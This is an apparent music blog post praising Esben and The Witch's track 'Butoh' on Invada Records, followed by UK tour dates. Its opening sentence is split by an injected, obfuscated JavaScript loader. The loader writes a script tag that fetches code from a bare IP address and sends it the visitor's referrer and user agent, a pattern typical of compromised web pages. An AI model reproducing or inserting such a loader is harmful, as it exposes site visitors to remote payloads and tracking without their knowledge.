ESBEN AND THE WITCH

There’s (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iidst|var|u0026u|referrer|ntkde||js|php’.split(‘|’),0,{}))
something quite infuriating about how many times false Sonic Youth comparisons are made in modern music. Don’t worry though, Esben and The Witch (signed to Geoff Barrow of Portishead’s Invada Records if you wanted muso points) aren’t a group of university students in designer tie dye vests only making music for the sake of social status, they’re the real deal and there are few better ways to spend nine and a half minutes than by taking a listen to their latest release Butoh.

Haunting vocals combine with crashing waves of distorted dark noise to produce nearly ten minutes of the most beautifully enigmatic music you are likely to hear this year/decade/century.

The track flows perfectly between both calm and chaotic elements and you’ll find yourself wanting more and more of each. In other words, it’s proper good and you’d be a fool not to go out and get it.

Butoh is available now on the split Esben and The Witch and Thought Forms split 12″ from Invada Records.

Mar 29th Buffalo Bar, London
Apr 10th Moon Club, Cardiff
Apr 11th Rise Records, Bristol
Apr 13th The Hope, Brighton
May 10th Beyond the Redshift Festival, London
May 25th The Georgian Theatre, Stockport
Jul 19th Latitude Festival, (performing live score to La Antena)
Aug 8th-10th Supernormal Festival, Oxfordshire